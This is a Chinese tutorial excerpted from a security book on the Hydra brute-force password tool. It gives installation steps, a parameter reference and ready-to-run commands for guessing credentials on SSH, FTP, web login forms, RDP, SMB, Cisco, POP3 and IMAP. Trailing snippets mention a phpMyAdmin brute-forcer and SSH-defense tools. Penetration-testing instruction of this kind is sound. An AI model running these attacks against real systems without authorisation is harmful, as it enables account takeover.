暴力破解工具Hydra

Hydra简介

  Hydra是著名黑客组织thc开发的一款开源的暴力密码破解工具,可以在线破解多种密码,目前已经被Backtrack和kali等渗透平台收录。除了命令行下的Hydra外,还提供了Hydra-GTK版本(有图形界面的Hydra),其官方网站是http://www.thc.org/thc-hydra。
  Hydra的最新版本为Hydra 7.6,它支持AFP、Cisco AAA、Cisco auth、Cisco enable、CVS、Firebird、FTP、uHTTP-FORM-GET、HTTP-FORM- POST、HTTP-GET、HTTP-HEAD、HTTP-PROXY、HTTPS-FORM-GET、HTTPS-FORM-POST、HTTPS-GET、HTTPS-HEAD、HTTP-Proxy、ICQ、IMAP、IRC、LDAP、MS-SQL、MySQL、NCP、NNTP、Oracle Listener、Oracle SID、Oracle、PC-Anywhere、PCNFS、POP3、POSTGRES、RDP、Rexec、Rlogin、Rsh、SAP/R3、SIP、SMB、SMTP、SMTP Enum、SNMP、SOCKS5、SSH(v1和v2)、Subversion、Teamspeak(TS2)、Telnet、VMware-Auth、VNC、XMPP等类型密码的破解。

Hydra的安装与使用

  Hydra可以在Debian和Ubuntu等环境下安装和使用。

1.在Debian和Ubuntu环境下安装Hydra

  如果是Debian和Ubuntu发行版,会自带Hydra,可直接使用apt-get命令在线安装,命令如下。

sudo apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev libncp-dev hydra

  如果要使用Redhat/Fedora发行版的源码包编译安装,需要先安装相关依赖包,命令如下。

yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel

2.安装CentOS

  CentOS的安装命令如下。

# tar zxvf hydra-7.6-src.tar.gz
# cd hydra-6.0-src
# ./configure
# make
# make install

3.使用Hydra

  BT5和kali都默认安装了Hydra。在kali中,依次单击“kali Linux”→“Password Attacks”→“Online Attacks”→“hydra”选项即可打开Hydra。在CentOS终端中,输入命令“/usr/local/bin/hydra”即可打开该暴力破解工具。除此之外,还可以通过“hydra-wizard.sh”命令进行向导式设置来密码破解。

4.安装libssh

  如果不安装libssh,运行Hydra破解账号时会出现错误。下图所示,显示错误提示信息“[ERROR] Compiled without LIBSSH v0.4.x support, module is not available!”。在CentOS下运行如下命令即可解决此问题。

yum install cmake
wget http://www.libssh.org/files/0.4/libssh-0.4.8.tar.gz
tar zxf libssh-0.4.8.tar.gz
cd libssh-0.4.8
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug -DWITH_SSH1=ON ..
make
make install
cd /test/ssh/hydra-7.6    //此为下载Hydar并解压的目录
make clean
./configure
make
make install

5.Hydra参数详细说明

  Hydra命令示例如下。

hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]]
  • l LOGIN:指定破解的用户名称,对特定用户破解。
  • L FILE:从文件中加载用户名进行破解。
  • p PASS:小写字母“p”,指定密码破解,少用,一般采用密码字典。
  • P FILE:大写字母“P”,指定密码字典。
  • C FILE:使用冒号分割格式,如“登录名:密码”代替“-L”和“-P”参数。
  • e nsr:可选选项,“n”表示空密码试探,“s”表示使用指定用户和密码试探。
  • t TASKS:同时运行的连接的线程数,每一台主机默认为16。
  • M FILE:指定服务器目标列表文件为每行1条。
  • w TIME:设置最大超时时间,单位为秒,默认为30秒。
  • o FILE:指定结果输出文件。
  • f:在使用“-M”参数以后,在找到第1对登录名或者密码时中止破解。
  • v / -V:显示详细过程。
  • R:继续上一次破解。
  • S:采用SSL链接。
  • s PORT:可通过这个参数指定非默认端口。
  • U:服务模块使用细节。
  • h:更多的命令行选项(完整的帮助文档)。
  • server:目标服务器名称或者IP地址(使用此选项或“-M”选项)。
  • service:指定服务名,支持的服务和协议包括Telnet、FTP、POP3[-ntlm]、IMAP[-ntlm]、SMB、SMB NT、http[s]-{head|get}、http-{get|post}-form、http-proxy、Cisco、Cisco-Enable、VNC、LDAP2、LDAP3、MSSQL、MySQL、Oracle-Listener、Postgres、NNTP、Socks5、REXEC、Rlogin、PCNFS、SNMP、RSH、CVS、SVN、ICQ、SAPR3、SSH2、SMTP-Auth[-ntlm]、pcAnywhere、TeamSpeak、SIP、Vmauthd、Firebird、NCP、AFP等。
  • OPT:一些服务模块支持额外的输入(“-U”选项用于获取模块的帮助信息)。

Hydra使用实例

  本节给出Hydra的用法实例。

1.破解SSH账号

  破解SSH账号有两种方式,一种是指定账号破解,另一种是指定用户列表破解,命令如下。

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh

  例如,输入命令“hydra -l root -P pwd2.dic -t 1 -vV -e ns 192.168.44.139 ssh”,对IP地址为192.168.44.139的root账号密码进行破解,破解成功后显示其详细信息如下。

  输入命令“hydra -l root -P pwd2.dic -t 1 -vV -e ns -o save.log 192.168.44.139 ssh”,将扫描结果保存在save.log文件中,使用“cat save.log”命令查看扫描结果,如下。

2.破解FTP账号

(1)破解指定用户名密码

hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV

(2)批量破解FTP账号和密码

hydra -L list_user -P list_password 192.168.56.101 ftp -V

  对FTP服务器(192.168.56.101)进行密码破解。

3.GET方式提交,破解Web登录

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php

4.POST方式提交,破解Web登录

  (1)hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php: username= ^USER^ &password=^PASS^&submit=login:sorry password"

hydra -L list_user -P list_password 192.168.0.115 http-post-form "member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1:fastloginfield=username&username=^USER^&password=^PASS^&quickforward=yes&handlekey=ls:Login failed" –V

   以上示例表示对192.168.0.115进行破解,需要定义登录的URL,以及设置登录验证和错误登录标记,效果如图。

member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1
fastloginfield=username&username=^USER^&password=^PASS^&quickforward=yes&handlekey=ls
Login failed

  (2)对admin密码进行破解

hydra -t 3 -l admin -P pass.txt -o out.txt -f 192.168.0.115 http-post-form "login.php:id=^USER^&passwd=^PASS^:<title>wrong username or password</title>"

  “-t”表示同时线程数为3;“-l”表示用户名是“admin”,字典为pass.txt,保存为out.txt;“-f”表示破解1个密码就停止;“192.168.0.115”表示目标IP地址;“http-post-form”表示采用HTTP的POST方式提交表单密码破解;“

”中的内容是错误猜解的返回信息提示。

5.破解HTTPS

hydra -m /index.php -l muts -P pass.txt 192.168.0.115 https

6.破解teamspeak

hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak

7.破解Cisco

hydra -P pass.txt 192.168.0.115 cisco
hydra -m cloud -P pass.txt 192.168.0.115 cisco-enable

8.破解SMB

hydra -l administrator -P pass.txt 192.168.0.115 smb

9.破解POP3

hydra -l muts -P pass.txt my.pop3.mail pop3

10.破解远程终端账号

(1)破解管理员账号

hydra ip rdp -l administrator -P pass.txt -V

(2)批量破解账号

hydra -s 3389 192.168.44.138 rdp -L user.txt  -P pwd.txt –V

  破解效果如图。

11.破解HTTP-Proxy

hydra -l admin -P pass.txt http-proxy://192.168.0.115

12.破解IMAP

hydra -L user.txt -p secret 192.168.0.115 imap PLAIN
hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN

  本文选自《黑客攻防:实战加密与解密》。
                    
  想及时获得更多精彩文章,可在微信中搜索“博文视点”或者扫描下方二维码并关注。
                       

时间: 2024-08-30 10:58:15

暴力破解工具Hydra的相关文章

Python写的PHPMyAdmin暴力破解工具代码_python

PHPMyAdmin暴力破解,加上CVE-2012-2122 MySQL Authentication Bypass Vulnerability漏洞利用. #!/usr/bin/env python import urllib import urllib2 import cookielib import sys import subprocess def Crack(url,username,password): opener = urllib2.build_opener(urllib2.HTT

在CentOS 6.3下安装fail2ban防暴力破解工具的过程

fail2ban可以监视你的系统日志,然后匹配日志的错误信息(正则式匹配)执行相应的屏蔽动作(一般情况下是调用防火墙屏蔽),如:当有人在试探你的SSH.SMTP.FTP密码,只要达到你预设的次数,fail2ban就会调用防火墙屏蔽这个IP,而且可以发送e-mail通知系统管理员,是一款很实用.很强大的软件! 功能和特性: 1.支持大量服务.如sshd,apache,qmail,proftpd,sasl等等 2.支持多种动作.如iptables,tcp-wrapper,shorewall(ipta

centos下防止暴力破解ssh

centos rhel下如下 #! /bin/bash cat /var/log/secure|awk '/Failed/{print $(NF-3)}'|sort|uniq -c|awk '{print $2"="$1;}' > /root/black.txt cat /var/log/secure|awk '/Invalid user/{print $NF}'|sort|uniq -c|awk '{print $2"="$1;}' >> /tm

Linux 利用hosts.deny 防止暴力破解ssh(转)

一.ssh暴力破解 利用专业的破解程序,配合密码字典.登陆用户名,尝试登陆服务器,来进行破解密码,此方法,虽慢,但却很有效果. 二.暴力破解演示 2.1.基础环境:2台linux主机(centos 7系统).Development Tools. 主机ip:192.168.30.64 (服务器端).192.168.30.64(客户端+ 暴力破解[Hydra]) 在30.63上进行暴力破解30.64 2.2 客户端上安装 破解程序 hydra.关于该程序的详情请去官网. 安装该软件的依赖环境: [r

云平台数据库安全之暴力破解

各行业的企业.个人.开发者希望以低成本的方式实现IT运维外包,通过互联网云服务器实现快速数据分享,充分享受云计算带来的便利,这正是云的魅力所在. 对于快速增长的云应用,在享受随时.随地.随需的高效云服务的同时,企业和个人用户同样面临一个不容忽视的问题:企业重要数据和个人隐私数据保存在云平台的数据库中,如果这些数据资产丢失将会造成巨大损失. 一.云平台下暴力破解攻击现状 暴力破解攻击是云用户面临的最主要威胁之一,以某云平台防护的日常安全运营记录为例,每周黑客对云租户的暴力破解数量高达数亿次.下图是

如何使用denyhost来防止ssh暴力破解

关于ssh的登录,作为一个合格的linux运维人员大家都是熟悉不能在熟悉的了,我们都知道,计算机本身暴露在互联网上就是危险的,当然我们不要因为我们的业务少,用户量不多而有侥幸心理,掉以轻心:互联网的大多数攻击都是没有目的性的,黑客大神们通过大范围的IP端口扫描探测到可能存在的漏洞bug主机,然后通过自动扫描工具来进行破解,那么我们来怎么防止黑客的大神暴力破解,要么自己手动的写防止暴力破解的脚本+任务计划来实施,要么通过开源软件来完成,Denyhost正是这样的一款工具,Denyhosts是一个L

VPS主机防止暴力破解方法

最近发现我的服务器上 winlogon.exe 和 csrss.exe 这两个进程一直不断的启动.关闭,怀疑是被暴力破解了,我试了下,只要你用远程连到服务器上 就会启动这两个进程,关闭远程就会结束这两个进程,说明我的推断是正确的. 所以得赶紧禁止这样 管理工具->本地安全设置->本地策略->安全选项-> 网络访问: 不允许 SAM 账户和共享的匿名枚举&http://www.aliyun.com/zixun/aggregation/37954.html">n

Linux系统通过fail2ban对暴力破解进行防护

暴力破解攻击是指攻击者通过系统地组合所有可能性(例如登录时用到的账户名.密码),尝试所有的可能性破解用户的账户名.密码等敏感信息.攻击者会经常使用自动化脚本工具组合出正确的用户名和密码. 针对这种攻击除了常规性的调整服务器的设置账号密码的复杂度,以及调整默认端口外等方式提升攻击难度外,还可以通过开源工具fail2ban来进行设置防护规则来提高防护能力. 首先简单说一下服务器的基础防护设置 1.密码要满足复杂性要求 a.密码长度要求8位以上,最好是14位以上 b.密码要求至少包含大小写字母.数字和

Linux 安装DenyHost防止ssh被暴力破解

DenyHosts介绍     当你的linux服务器暴露在外网当中时,服务器就极有可能会遭到互联网上的扫描软件进行扫描,然后试图连接ssh端口进行暴力破解(穷举扫描).如果遇到这个问题,一款非常有用的工具DenyHosts可以阻止试图猜测SSH登录口令.DenyHosts是用Python写的一个程序,它会分析SSHD的日志文件(Redhat为/var/log/secure等),当发现同一IP在进行多次SSH密码尝试时就会记录IP到/etc/hosts.deny文件,从而达到自动屏蔽该IP的目的